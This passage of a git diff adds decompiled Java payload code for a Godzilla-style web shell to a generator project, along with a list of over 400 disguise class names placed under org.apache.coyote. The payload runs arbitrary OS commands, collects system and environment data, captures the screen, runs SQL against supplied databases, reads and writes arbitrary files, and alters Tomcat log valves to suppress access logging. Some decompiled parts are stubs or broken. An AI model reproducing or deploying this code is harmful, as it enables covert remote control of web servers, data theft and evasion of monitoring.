Integer.parseInt(argsCountStr); + if (argsCount > 0) { + for (int i = 0; i < argsCount; i++) { + String val = get(String.format("arg-%d", new Integer(i))); + if (val != null) { + argsList.add(val); + } + } + String[] cmdarray = new String[argsList.size()]; + for (int i2 = 0; i2 < argsList.size(); i2++) { + cmdarray[i2] = (String) argsList.get(i2); + } + Process process = Runtime.getRuntime().exec((String[]) argsList.toArray(new String[0])); + if (process == null) { + return "Unable to start process".getBytes(); + } + InputStream inputStream = process.getInputStream(); + InputStream errorInputStream = process.getErrorStream(); + ByteArrayOutputStream memStream = new ByteArrayOutputStream(1024); + byte[] buff = new byte[521]; + if (inputStream != null) { + while (true) { + int readNum = inputStream.read(buff); + if (readNum <= 0) { + break; + } + memStream.write(buff, 0, readNum); + } + } + if (errorInputStream != null) { + while (true) { + int readNum2 = errorInputStream.read(buff); + if (readNum2 <= 0) { + break; + } + memStream.write(buff, 0, readNum2); + } + } + return memStream.toByteArray(); + } + return "argsCount <=0".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + return "No parameter argsCountStr".getBytes(); + } + + public byte[] getBasicsInfo() { + try { + Enumeration keys = System.getProperties().keys(); + String basicsInfo = new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new String())).append("FileRoot : ").append(listFileRoot()).append("\n").toString())).append("CurrentDir : ").append(new File("").getAbsoluteFile()).append("/").append("\n").toString())).append("CurrentUser : ").append(System.getProperty("user.name")).append("\n").toString())).append("ProcessArch : ").append(System.getProperty("sun.arch.data.model")).append("\n").toString(); + try { + String tmpdir = System.getProperty("java.io.tmpdir"); + char lastChar = tmpdir.charAt(tmpdir.length() - 1); + if (lastChar != '\\' && lastChar != '/') { + tmpdir = new StringBuffer(String.valueOf(tmpdir)).append(File.separator).toString(); + } + basicsInfo = new StringBuffer(String.valueOf(basicsInfo)).append("TempDirectory : ").append(tmpdir).append("\n").toString(); + } catch (Exception e) { + } + String basicsInfo2 = new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(new StringBuffer(String.valueOf(basicsInfo)).append("DocBase : ").append(getDocBase()).append("\n").toString())).append("RealFile : ").append(getRealPath()).append("\n").toString())).append("servletRequest : ").append(this.servletRequest == null ? "null" : new StringBuffer(String.valueOf(String.valueOf(this.servletRequest.hashCode()))).append("\n").toString()).toString())).append("servletContext : ").append(this.servletContext == null ? "null" : new StringBuffer(String.valueOf(String.valueOf(this.servletContext.hashCode()))).append("\n").toString()).toString())).append("httpSession : ").append(this.httpSession == null ? "null" : new StringBuffer(String.valueOf(String.valueOf(this.httpSession.hashCode()))).append("\n").toString()).toString(); + try { + basicsInfo2 = new StringBuffer(String.valueOf(basicsInfo2)).append("OsInfo : ").append(String.format("os.name: %s os.version: %s os.arch: %s", System.getProperty("os.name"), System.getProperty("os.version"), System.getProperty("os.arch"))).append("\n").toString(); + } catch (Exception e2) { + basicsInfo2 = new StringBuffer(String.valueOf(basicsInfo2)).append("OsInfo : ").append(e2.getMessage()).append("\n").toString(); + } + String basicsInfo3 = new StringBuffer(String.valueOf(basicsInfo2)).append("IPList : ").append(getLocalIPList()).append("\n").toString(); + while (keys.hasMoreElements()) { + Object object = keys.nextElement(); + if (object instanceof String) { + String key = (String) object; + basicsInfo3 = new StringBuffer(String.valueOf(basicsInfo3)).append(key).append(" : ").append(System.getProperty(key)).append("\n").toString(); + } + } + Map envMap = getEnv(); + if (envMap != null) { + for (Object key2 : envMap.keySet()) { + basicsInfo3 = new StringBuffer(String.valueOf(basicsInfo3)).append(key2).append(" : ").append(envMap.get(key2)).append("\n").toString(); + } + } + return basicsInfo3.getBytes(); + } catch (Exception e3) { + return e3.getMessage().getBytes(); + } + } + + public byte[] screen() { + try { + Robot robot = new Robot(); + BufferedImage as = robot.createScreenCapture(new Rectangle(Toolkit.getDefaultToolkit().getScreenSize().width, Toolkit.getDefaultToolkit().getScreenSize().height)); + ByteArrayOutputStream bs = new ByteArrayOutputStream(); + ImageIO.write(as, "png", ImageIO.createImageOutputStream(bs)); + byte[] data = bs.toByteArray(); + bs.close(); + return data; + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + + public byte[] execSql() throws Exception { + String charset = get("dbCharset"); + String dbType = get("dbType"); + String dbHost = get("dbHost"); + String dbPort = get("dbPort"); + String dbUsername = get("dbUsername"); + String dbPassword = get("dbPassword"); + String execType = get("execType"); + String execSql = new String(getByteArray("execSql"), charset); + if (dbType != null && dbHost != null && dbPort != null && dbUsername != null && dbPassword != null && execType != null && execSql != null) { + try { + try { + Class.forName("com.microsoft.sqlserver.jdbc.SQLServerDriver"); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } catch (Exception e2) { + } + try { + Class.forName("oracle.jdbc.driver.OracleDriver"); + } catch (Exception e3) { + try { + Class.forName("oracle.jdbc.OracleDriver"); + } catch (Exception e4) { + } + } + try { + Class.forName("com.mysql.cj.jdbc.Driver"); + } catch (Exception e5) { + try { + Class.forName("com.mysql.jdbc.Driver"); + } catch (Exception e6) { + } + } + try { + Class.forName("org.postgresql.Driver"); + } catch (Exception e7) { + } + try { + Class.forName("org.sqlite.JDBC"); + } catch (Exception e8) { + } + String connectUrl = null; + if ("mysql".equals(dbType)) { + connectUrl = new StringBuffer("jdbc:mysql://").append(dbHost).append(":").append(dbPort).append("/").append("?useSSL=false&serverTimezone=UTC&zeroDateTimeBehavior=convertToNull&noDatetimeStringSync=true&characterEncoding=utf-8").toString(); + } else if ("oracle".equals(dbType)) { + connectUrl = new StringBuffer("jdbc:oracle:thin:@").append(dbHost).append(":").append(dbPort).append(":orcl").toString(); + } else if ("sqlserver".equals(dbType)) { + connectUrl = new StringBuffer("jdbc:sqlserver://").append(dbHost).append(":").append(dbPort).append(";").toString(); + } else if ("postgresql".equals(dbType)) { + connectUrl = new StringBuffer("jdbc:postgresql://").append(dbHost).append(":").append(dbPort).append("/").toString(); + } else if ("sqlite".equals(dbType)) { + connectUrl = new StringBuffer("jdbc:sqlite:").append(dbHost).toString(); + } + if (dbHost.indexOf("jdbc:") != -1) { + connectUrl = dbHost; + } + if (connectUrl != null) { + Connection dbConn = null; + try { + try { + dbConn = getConnection(connectUrl, dbUsername, dbPassword); + } catch (Exception e9) { + return e9.getMessage().getBytes(); + } + } catch (Exception e10) { + } + if (dbConn == null) { + dbConn = DriverManager.getConnection(connectUrl, dbUsername, dbPassword); + } + Statement statement = dbConn.createStatement(); + if (execType.equals("select")) { + String data = "ok\n"; + ResultSet resultSet = statement.executeQuery(execSql); + ResultSetMetaData metaData = resultSet.getMetaData(); + int columnNum = metaData.getColumnCount(); + for (int i = 0; i < columnNum; i++) { + data = new StringBuffer(String.valueOf(data)).append(base64Encode(String.format("%s", metaData.getColumnName(i + 1)))).append("\t").toString(); + } + String data2 = new StringBuffer(String.valueOf(data)).append("\n").toString(); + while (resultSet.next()) { + for (int i2 = 0; i2 < columnNum; i2++) { + data2 = new StringBuffer(String.valueOf(data2)).append(base64Encode(String.format("%s", resultSet.getString(i2 + 1)))).append("\t").toString(); + } + data2 = new StringBuffer(String.valueOf(data2)).append("\n").toString(); + } + resultSet.close(); + statement.close(); + dbConn.close(); + return data2.getBytes(); + } + int affectedNum = statement.executeUpdate(execSql); + statement.close(); + dbConn.close(); + return new StringBuffer("Query OK, ").append(affectedNum).append(" rows affected").toString().getBytes(); + } + return new StringBuffer("no ").append(dbType).append(" Dbtype").toString().getBytes(); + } + return "No parameter dbType,dbHost,dbPort,dbUsername,dbPassword,execType,execSql".getBytes(); + } + + public byte[] close() { + try { + if (this.httpSession != null) { + getMethodAndInvoke(this.httpSession, "invalidate", null, null); + } + return "ok".getBytes(); + } catch (Exception e) { + return e.getMessage().getBytes(); + } + } + + public byte[] bigFileUpload() { + String fileName = get("fileName"); + byte[] fileContents = getByteArray("fileContents"); + String position = get("position"); + try { + if (position == null) { + FileOutputStream fileOutputStream = new FileOutputStream(fileName, true); + fileOutputStream.write(fileContents); + fileOutputStream.flush(); + fileOutputStream.close(); + } else { + RandomAccessFile fileOutputStream2 = new RandomAccessFile(fileName, "rw"); + fileOutputStream2.seek(Integer.parseInt(position)); + fileOutputStream2.write(fileContents); + fileOutputStream2.close(); + } + return "ok".getBytes(); + } catch (Exception e) { + return String.format("Exception errMsg:%s", e.getMessage()).getBytes(); + } + } + + public byte[] bigFileDownload() { + String fileName = get("fileName"); + String mode = get("mode"); + String readByteNumString = get("readByteNum"); + String positionString = get("position"); + try { + if ("fileSize".equals(mode)) { + return String.valueOf(new File(fileName).length()).getBytes(); + } + if ("read".equals(mode)) { + int position = Integer.valueOf(positionString).intValue(); + int readByteNum = Integer.valueOf(readByteNumString).intValue(); + byte[] readData = new byte[readByteNum]; + FileInputStream fileInputStream = new FileInputStream(fileName); + fileInputStream.skip(position); + int readNum = fileInputStream.read(readData); + fileInputStream.close(); + if (readNum == readData.length) { + return readData; + } + return copyOf(readData, readNum); + } + return "no mode".getBytes(); + } catch (Exception e) { + return String.format("Exception errMsg:%s", e.getMessage()).getBytes(); + } + } + + public static byte[] copyOf(byte[] original, int newLength) { + byte[] arrayOfByte = new byte[newLength]; + System.arraycopy(original, 0, arrayOfByte, 0, Math.min(original.length, newLength)); + return arrayOfByte; + } + + public Map getEnv() { + try { + int jreVersion = Integer.parseInt(System.getProperty("java.version").substring(2, 3)); + if (jreVersion >= 5) { + try { + Class cls = class$6; + if (cls == null) { + try { + cls = Class.forName("java.lang.System"); + class$6 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + Method method = cls.getMethod("getenv", new Class[0]); + Class returnType = method.getReturnType(); + if (method == null) { + return null; + } + Class cls2 = class$7; + if (cls2 == null) { + try { + cls2 = Class.forName("java.util.Map"); + class$7 = cls2; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(unused2.getMessage()); + } + } + if (returnType.isAssignableFrom(cls2)) { + return (Map) method.invoke(null, null); + } + return null; + } catch (Exception e) { + return null; + } + } + return null; + } catch (Exception e2) { + return null; + } + } + + public String getDocBase() { + try { + return getRealPath(); + } catch (Exception e) { + return e.getMessage(); + } + } + + public static Connection getConnection(String url, String userName, String password) { + Connection connection = null; + try { + Class cls = class$8; + if (cls == null) { + try { + cls = Class.forName("java.sql.DriverManager"); + class$8 = cls; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + Field[] fields = cls.getDeclaredFields(); + Field field = null; + for (int i = 0; i < fields.length; i++) { + field = fields[i]; + if (field.getName().indexOf("rivers") != -1) { + Class cls2 = class$9; + if (cls2 == null) { + try { + cls2 = Class.forName("java.util.List"); + class$9 = cls2; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(unused2.getMessage()); + } + } + if (cls2.isAssignableFrom(field.getType())) { + break; + } + } + field = null; + } + if (field != null) { + field.setAccessible(true); + List drivers = (List) field.get(null); + Iterator iterator = drivers.iterator(); + while (iterator.hasNext() && connection == null) { + try { + Object object = iterator.next(); + Driver driver = null; + Class cls3 = class$10; + if (cls3 == null) { + try { + cls3 = Class.forName("java.sql.Driver"); + class$10 = cls3; + } catch (ClassNotFoundException unused3) { + throw new NoClassDefFoundError(unused3.getMessage()); + } + } + if (!cls3.isAssignableFrom(object.getClass())) { + Field[] driverInfos = object.getClass().getDeclaredFields(); + int i2 = 0; + while (true) { + if (i2 >= driverInfos.length) { + break; + } + Class cls4 = class$10; + if (cls4 == null) { + try { + cls4 = Class.forName("java.sql.Driver"); + class$10 = cls4; + } catch (ClassNotFoundException unused4) { + throw new NoClassDefFoundError(unused4.getMessage()); + } + } + if (!cls4.isAssignableFrom(driverInfos[i2].getType())) { + i2++; + } else { + driverInfos[i2].setAccessible(true); + driver = (Driver) driverInfos[i2].get(object); + break; + } + } + } + if (driver != null) { + Properties properties = new Properties(); + if (userName != null) { + properties.put("user", userName); + } + if (password != null) { + properties.put("password", password); + } + connection = driver.connect(url, properties); + } + } catch (Exception e) { + } + } + } + } catch (Exception e2) { + } + return connection; + } + + public static String getLocalIPList() { + List ipList = new ArrayList(); + try { + Enumeration networkInterfaces = NetworkInterface.getNetworkInterfaces(); + while (networkInterfaces.hasMoreElements()) { + NetworkInterface networkInterface = (NetworkInterface) networkInterfaces.nextElement(); + Enumeration inetAddresses = networkInterface.getInetAddresses(); + while (inetAddresses.hasMoreElements()) { + InetAddress inetAddress = (InetAddress) inetAddresses.nextElement(); + if (inetAddress != null) { + String ip = inetAddress.getHostAddress(); + ipList.add(ip); + } + } + } + } catch (Exception e) { + } + return Arrays.toString(ipList.toArray()); + } + + public String getRealPath() { + try { + if (this.servletContext != null) { + Class cls = this.servletContext.getClass(); + Class[] clsArr = new Class[1]; + Class cls2 = class$2; + if (cls2 == null) { + try { + cls2 = Class.forName("java.lang.String"); + class$2 = cls2; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + clsArr[0] = cls2; + Method getRealPathMethod = getMethodByClass(cls, "getRealPath", clsArr); + if (getRealPathMethod != null) { + Object retObject = getRealPathMethod.invoke(this.servletContext, "/"); + if (retObject != null) { + return retObject.toString(); + } + return "Null"; + } + return "no method getRealPathMethod"; + } + return "servletContext is Null"; + } catch (Exception e) { + return e.getMessage(); + } + } + + public void deleteFiles(File f2) throws Exception { + if (f2.isDirectory()) { + File[] x2 = f2.listFiles(); + for (File fs : x2) { + deleteFiles(fs); + } + } + f2.delete(); + } + + Object invoke(Object obj, String methodName, Object[] parameters) { + try { + ArrayList classes = new ArrayList(); + if (parameters != null) { + for (Object o1 : parameters) { + if (o1 != null) { + classes.add(o1.getClass()); + } else { + classes.add(null); + } + } + } + Method method = getMethodByClass(obj.getClass(), methodName, (Class[]) classes.toArray(new Class[0])); + return method.invoke(obj, parameters); + } catch (Exception e) { + return null; + } + } + + Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) { + return method.invoke(obj, parameters); + } + return null; + } catch (Exception e) { + return null; + } + } + + Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getFieldValue(Object obj, String fieldName) throws Exception { + Field f2 = null; + if (obj instanceof Field) { + f2 = (Field) obj; + } else { + Class cs = obj.getClass(); + while (cs != null) { + try { + f2 = cs.getDeclaredField(fieldName); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + } + f2.setAccessible(true); + return f2.get(obj); + } + + private void noLog(Object servletContext) { + try { + Object applicationContext = getFieldValue(servletContext, "context"); + Object container = getFieldValue(applicationContext, "context"); + ArrayList arrayList = new ArrayList(); + while (container != null) { + arrayList.add(container); + container = invoke(container, "getParent", null); + } + for (int i = 0; i < arrayList.size(); i++) { + try { + Object pipeline = invoke(arrayList.get(i), "getPipeline", null); + if (pipeline != null) { + Object valve = invoke(pipeline, "getFirst", null); + while (valve != null) { + if (getMethodByClass(valve.getClass(), "getCondition", null) != null) { + Class cls = valve.getClass(); + Class[] clsArr = new Class[1]; + Class cls2 = class$2; + if (cls2 == null) { + try { + cls2 = Class.forName("java.lang.String"); + class$2 = cls2; + } catch (ClassNotFoundException unused) { + throw new NoClassDefFoundError(unused.getMessage()); + } + } + clsArr[0] = cls2; + if (getMethodByClass(cls, "setCondition", clsArr) != null) { + String condition = (String) invoke((String) valve, "getCondition", new Object[0]); + String condition2 = condition == null ? "FuckLog" : condition; + invoke(valve, "setCondition", new Object[]{condition2}); + Class cls3 = this.servletRequest.getClass(); + Class[] clsArr2 = new Class[2]; + Class cls4 = class$2; + if (cls4 == null) { + try { + cls4 = Class.forName("java.lang.String"); + class$2 = cls4; + } catch (ClassNotFoundException unused2) { + throw new NoClassDefFoundError(unused2.getMessage()); + } + } + clsArr2[0] = cls4; + Class cls5 = class$2; + if (cls5 == null) { + try { + cls5 = Class.forName("java.lang.String"); + class$2 = cls5; + } catch (ClassNotFoundException unused3) { + throw new NoClassDefFoundError(unused3.getMessage()); + } + } + clsArr2[1] = cls5; + Method setAttributeMethod = getMethodByClass(cls3, "setAttribute", clsArr2); + setAttributeMethod.invoke(condition2, condition2); + valve = invoke(valve, "getNext", null); + } + } + if (Class.forName("org.apache.catalina.Valve", false, applicationContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) { + valve = invoke(valve, "getNext", null); + } else { + valve = null; + } + } + } else { + continue; + } + } catch (Exception e) { + } + } + } catch (Exception e2) { + } + } + + private static Class getClass(String name) { + try { + return Class.forName(name); + } catch (Exception e) { + return null; + } + } + + public static int bytesToInt(byte[] bytes) { + int i = (bytes[0] & 255) | ((bytes[1] & 255) << 8) | ((bytes[2] & 255) << 16) | ((bytes[3] & 255) << 24); + return i; + } + + public String base64Encode(String data) { + return base64Encode(data.getBytes()); + } + + public static String base64Encode(byte[] src) { + int end = src.length; + byte[] dst = new byte[4 * ((src.length + 2) / 3)]; + char[] base64 = toBase64; + int sp = 0; + int slen = ((end - 0) / 3) * 3; + int sl = 0 + slen; + if (-1 > 0 && slen > ((-1) / 4) * 3) { + slen = ((-1) / 4) * 3; + } + int dp = 0; + while (sp < sl) { + int sl0 = Math.min(sp + slen, sl); + int sp0 = sp; + int dp0 = dp; + while (sp0 < sl0) { + int i = sp0; + int sp02 = sp0 + 1; + int sp03 = sp02 + 1; + int i2 = ((src[i] & 255) << 16) | ((src[sp02] & 255) << 8); + sp0 = sp03 + 1; + int bits = i2 | (src[sp03] & 255); + int i3 = dp0; + int dp02 = dp0 + 1; + dst[i3] = (byte) base64[(bits >>> 18) & 63]; + int dp03 = dp02 + 1; + dst[dp02] = (byte) base64[(bits >>> 12) & 63]; + int dp04 = dp03 + 1; + dst[dp03] = (byte) base64[(bits >>> 6) & 63]; + dp0 = dp04 + 1; + dst[dp04] = (byte) base64[bits & 63]; + } + int dlen = ((sl0 - sp) / 3) * 4; + dp += dlen; + sp = sl0; + } + if (sp < end) { + int i4 = sp; + int sp2 = sp + 1; + int b0 = src[i4] & 255; + int i5 = dp; + int dp2 = dp + 1; + dst[i5] = (byte) base64[b0 >> 2]; + if (sp2 == end) { + int dp3 = dp2 + 1; + dst[dp2] = (byte) base64[(b0 << 4) & 63]; + if (1 != 0) { + int dp4 = dp3 + 1; + dst[dp3] = 61; + int i6 = dp4 + 1; + dst[dp4] = 61; + } + } else { + int i7 = sp2 + 1; + int b1 = src[sp2] & 255; + int dp5 = dp2 + 1; + dst[dp2] = (byte) base64[((b0 << 4) & 63) | (b1 >> 4)]; + int dp6 = dp5 + 1; + dst[dp5] = (byte) base64[(b1 << 2) & 63]; + if (1 != 0) { + int i8 = dp6 + 1; + dst[dp6] = 61; + } + } + } + return new String(dst); + } + + public static byte[] base64Decode(java.lang.String r7) { + throw new UnsupportedOperationException("Method not decompiled: p000.payload.base64Decode(java.lang.String):byte[]"); + } +} \ No newline at end of file diff --git a/generator/src/main/resources/godzillaShellClassNames.txt b/generator/src/main/resources/godzillaShellClassNames.txt new file mode 100644 index 00000000..56218440 --- /dev/null +++ b/generator/src/main/resources/godzillaShellClassNames.txt @@ -0,0 +1,413 @@ +org.apache.coyote.AbstractTypeResolver +org.apache.coyote.AnnotationIntrospector +org.apache.coyote.BeanDescription +org.apache.coyote.BeanProperty +org.apache.coyote.DatabindContext +org.apache.coyote.DeserializationConfig +org.apache.coyote.DeserializationContext +org.apache.coyote.DeserializationFeature +org.apache.coyote.InjectableValues +org.apache.coyote.JavaType +org.apache.coyote.JsonDeserializer +org.apache.coyote.JsonMappingException +org.apache.coyote.JsonNode +org.apache.coyote.JsonSerializable +org.apache.coyote.JsonSerializer +org.apache.coyote.KeyDeserializer +org.apache.coyote.MapperFeature +org.apache.coyote.MappingIterator +org.apache.coyote.MappingJsonFactory +org.apache.coyote.Module +org.apache.coyote.ObjectMapper +org.apache.coyote.ObjectReader +org.apache.coyote.ObjectWriter +org.apache.coyote.PropertyMetadata +org.apache.coyote.PropertyName +org.apache.coyote.PropertyNamingStrategy +org.apache.coyote.RuntimeJsonMappingException +org.apache.coyote.SequenceWriter +org.apache.coyote.SerializationConfig +org.apache.coyote.SerializationFeature +org.apache.coyote.SerializerProvider +org.apache.coyote.annotation.JacksonStdImpl +org.apache.coyote.annotation.JsonAppend +org.apache.coyote.annotation.JsonDeserialize +org.apache.coyote.annotation.JsonNaming +org.apache.coyote.annotation.JsonPOJOBuilder +org.apache.coyote.annotation.JsonSerialize +org.apache.coyote.annotation.JsonTypeIdResolver +org.apache.coyote.annotation.JsonTypeResolver +org.apache.coyote.annotation.JsonValueInstantiator +org.apache.coyote.annotation.NoClass +org.apache.coyote.cfg.BaseSettings +org.apache.coyote.cfg.ConfigFeature +org.apache.coyote.cfg.ConfigOverride +org.apache.coyote.cfg.ConfigOverrides +org.apache.coyote.cfg.ContextAttributes +org.apache.coyote.cfg.DeserializerFactoryConfig +org.apache.coyote.cfg.HandlerInstantiator +org.apache.coyote.cfg.MapperBuilder +org.apache.coyote.cfg.MapperConfig +org.apache.coyote.cfg.MapperConfigBase +org.apache.coyote.cfg.MutableConfigOverride +org.apache.coyote.cfg.PackageVersion +org.apache.coyote.cfg.SerializerFactoryConfig +org.apache.coyote.deser.AbstractDeserializer +org.apache.coyote.deser.BasicDeserializerFactory +org.apache.coyote.deser.BeanDeserializer +org.apache.coyote.deser.BeanDeserializerBase +org.apache.coyote.deser.BeanDeserializerBuilder +org.apache.coyote.deser.BeanDeserializerFactory +org.apache.coyote.deser.BeanDeserializerModifier +org.apache.coyote.deser.BuilderBasedDeserializer +org.apache.coyote.deser.ContextualDeserializer +org.apache.coyote.deser.ContextualKeyDeserializer +org.apache.coyote.deser.CreatorProperty +org.apache.coyote.deser.DataFormatReaders +org.apache.coyote.deser.DefaultDeserializationContext +org.apache.coyote.deser.DeserializationProblemHandler +org.apache.coyote.deser.DeserializerCache +org.apache.coyote.deser.DeserializerFactory +org.apache.coyote.deser.Deserializers +org.apache.coyote.deser.KeyDeserializers +org.apache.coyote.deser.NullValueProvider +org.apache.coyote.deser.ResolvableDeserializer +org.apache.coyote.deser.SettableAnyProperty +org.apache.coyote.deser.SettableBeanProperty +org.apache.coyote.deser.UnresolvedForwardReference +org.apache.coyote.deser.UnresolvedId +org.apache.coyote.deser.ValueInstantiator +org.apache.coyote.deser.ValueInstantiators +org.apache.coyote.deser.impl.BeanAsArrayBuilderDeserializer +org.apache.coyote.deser.impl.BeanAsArrayDeserializer +org.apache.coyote.deser.impl.BeanPropertyMap +org.apache.coyote.deser.impl.CreatorCandidate +org.apache.coyote.deser.impl.CreatorCollector +org.apache.coyote.deser.impl.ErrorThrowingDeserializer +org.apache.coyote.deser.impl.ExternalTypeHandler +org.apache.coyote.deser.impl.FailingDeserializer +org.apache.coyote.deser.impl.FieldProperty +org.apache.coyote.deser.impl.InnerClassProperty +org.apache.coyote.deser.impl.JDKValueInstantiators +org.apache.coyote.deser.impl.JavaUtilCollectionsDeserializers +org.apache.coyote.deser.impl.ManagedReferenceProperty +org.apache.coyote.deser.impl.MergingSettableBeanProperty +org.apache.coyote.deser.impl.MethodProperty +org.apache.coyote.deser.impl.NullsAsEmptyProvider +org.apache.coyote.deser.impl.NullsConstantProvider +org.apache.coyote.deser.impl.NullsFailProvider +org.apache.coyote.deser.impl.ObjectIdReader +org.apache.coyote.deser.impl.ObjectIdReferenceProperty +org.apache.coyote.deser.impl.ObjectIdValueProperty +org.apache.coyote.deser.impl.PropertyBasedCreator +org.apache.coyote.deser.impl.PropertyBasedObjectIdGenerator +org.apache.coyote.deser.impl.PropertyValue +org.apache.coyote.deser.impl.PropertyValueBuffer +org.apache.coyote.deser.impl.ReadableObjectId +org.apache.coyote.deser.impl.SetterlessProperty +org.apache.coyote.deser.impl.TypeWrappedDeserializer +org.apache.coyote.deser.impl.UnwrappedPropertyHandler +org.apache.coyote.deser.impl.ValueInjector +org.apache.coyote.deser.std.ArrayBlockingQueueDeserializer +org.apache.coyote.deser.std.AtomicBooleanDeserializer +org.apache.coyote.deser.std.AtomicReferenceDeserializer +org.apache.coyote.deser.std.BaseNodeDeserializer +org.apache.coyote.deser.std.ByteBufferDeserializer +org.apache.coyote.deser.std.CollectionDeserializer +org.apache.coyote.deser.std.ContainerDeserializerBase +org.apache.coyote.deser.std.DateDeserializers +org.apache.coyote.deser.std.DelegatingDeserializer +org.apache.coyote.deser.std.EnumDeserializer +org.apache.coyote.deser.std.EnumMapDeserializer +org.apache.coyote.deser.std.EnumSetDeserializer +org.apache.coyote.deser.std.FactoryBasedEnumDeserializer +org.apache.coyote.deser.std.FromStringDeserializer +org.apache.coyote.deser.std.JdkDeserializers +org.apache.coyote.deser.std.JsonLocationInstantiator +org.apache.coyote.deser.std.JsonNodeDeserializer +org.apache.coyote.deser.std.MapDeserializer +org.apache.coyote.deser.std.MapEntryDeserializer +org.apache.coyote.deser.std.NullifyingDeserializer +org.apache.coyote.deser.std.NumberDeserializers +org.apache.coyote.deser.std.ObjectArrayDeserializer +org.apache.coyote.deser.std.PrimitiveArrayDeserializers +org.apache.coyote.deser.std.ReferenceTypeDeserializer +org.apache.coyote.deser.std.StackTraceElementDeserializer +org.apache.coyote.deser.std.StdDelegatingDeserializer +org.apache.coyote.deser.std.StdDeserializer +org.apache.coyote.deser.std.StdKeyDeserializer +org.apache.coyote.deser.std.StdKeyDeserializers +org.apache.coyote.deser.std.StdNodeBasedDeserializer +org.apache.coyote.deser.std.StdScalarDeserializer +org.apache.coyote.deser.std.StdValueInstantiator +org.apache.coyote.deser.std.StringArrayDeserializer +org.apache.coyote.deser.std.StringCollectionDeserializer +org.apache.coyote.deser.std.StringDeserializer +org.apache.coyote.deser.std.ThrowableDeserializer +org.apache.coyote.deser.std.TokenBufferDeserializer +org.apache.coyote.deser.std.UUIDDeserializer +org.apache.coyote.deser.std.UntypedObjectDeserializer +org.apache.coyote.exc.IgnoredPropertyException +org.apache.coyote.exc.InvalidDefinitionException +org.apache.coyote.exc.InvalidFormatException +org.apache.coyote.exc.InvalidNullException +org.apache.coyote.exc.InvalidTypeIdException +org.apache.coyote.exc.MismatchedInputException +org.apache.coyote.exc.PropertyBindingException +org.apache.coyote.exc.UnrecognizedPropertyException +org.apache.coyote.exc.ValueInstantiationException +org.apache.coyote.ext.CoreXMLDeserializers +org.apache.coyote.ext.CoreXMLSerializers +org.apache.coyote.ext.DOMDeserializer +org.apache.coyote.ext.DOMSerializer +org.apache.coyote.ext.Java7Handlers +org.apache.coyote.ext.Java7HandlersImpl +org.apache.coyote.ext.Java7Support +org.apache.coyote.ext.Java7SupportImpl +org.apache.coyote.ext.NioPathDeserializer +org.apache.coyote.ext.NioPathSerializer +org.apache.coyote.ext.OptionalHandlerFactory +org.apache.coyote.introspect.Annotated +org.apache.coyote.introspect.AnnotatedClass +org.apache.coyote.introspect.AnnotatedClassResolver +org.apache.coyote.introspect.AnnotatedConstructor +org.apache.coyote.introspect.AnnotatedCreatorCollector +org.apache.coyote.introspect.AnnotatedField +org.apache.coyote.introspect.AnnotatedFieldCollector +org.apache.coyote.introspect.AnnotatedMember +org.apache.coyote.introspect.AnnotatedMethod +org.apache.coyote.introspect.AnnotatedMethodCollector +org.apache.coyote.introspect.AnnotatedMethodMap +org.apache.coyote.introspect.AnnotatedParameter +org.apache.coyote.introspect.AnnotatedWithParams +org.apache.coyote.introspect.AnnotationCollector +org.apache.coyote.introspect.AnnotationIntrospectorPair +org.apache.coyote.introspect.AnnotationMap +org.apache.coyote.introspect.BasicBeanDescription +org.apache.coyote.introspect.BasicClassIntrospector +org.apache.coyote.introspect.BeanPropertyDefinition +org.apache.coyote.introspect.ClassIntrospector +org.apache.coyote.introspect.CollectorBase +org.apache.coyote.introspect.ConcreteBeanPropertyBase +org.apache.coyote.introspect.JacksonAnnotationIntrospector +org.apache.coyote.introspect.MemberKey +org.apache.coyote.introspect.NopAnnotationIntrospector +org.apache.coyote.introspect.ObjectIdInfo +org.apache.coyote.introspect.POJOPropertiesCollector +org.apache.coyote.introspect.POJOPropertyBuilder +org.apache.coyote.introspect.SimpleMixInResolver +org.apache.coyote.introspect.TypeResolutionContext +org.apache.coyote.introspect.VirtualAnnotatedMember +org.apache.coyote.introspect.VisibilityChecker +org.apache.coyote.introspect.WithMember +org.apache.coyote.json.JsonMapper +org.apache.coyote.jsonFormatVisitors.JsonAnyFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonArrayFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonBooleanFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonFormatTypes +org.apache.coyote.jsonFormatVisitors.JsonFormatVisitable +org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWithSerializerProvider +org.apache.coyote.jsonFormatVisitors.JsonFormatVisitorWrapper +org.apache.coyote.jsonFormatVisitors.JsonIntegerFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonMapFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonNullFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonNumberFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonObjectFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonStringFormatVisitor +org.apache.coyote.jsonFormatVisitors.JsonValueFormat +org.apache.coyote.jsonFormatVisitors.JsonValueFormatVisitor +org.apache.coyote.jsonschema.JsonSchema +org.apache.coyote.jsonschema.JsonSerializableSchema +org.apache.coyote.jsonschema.SchemaAware 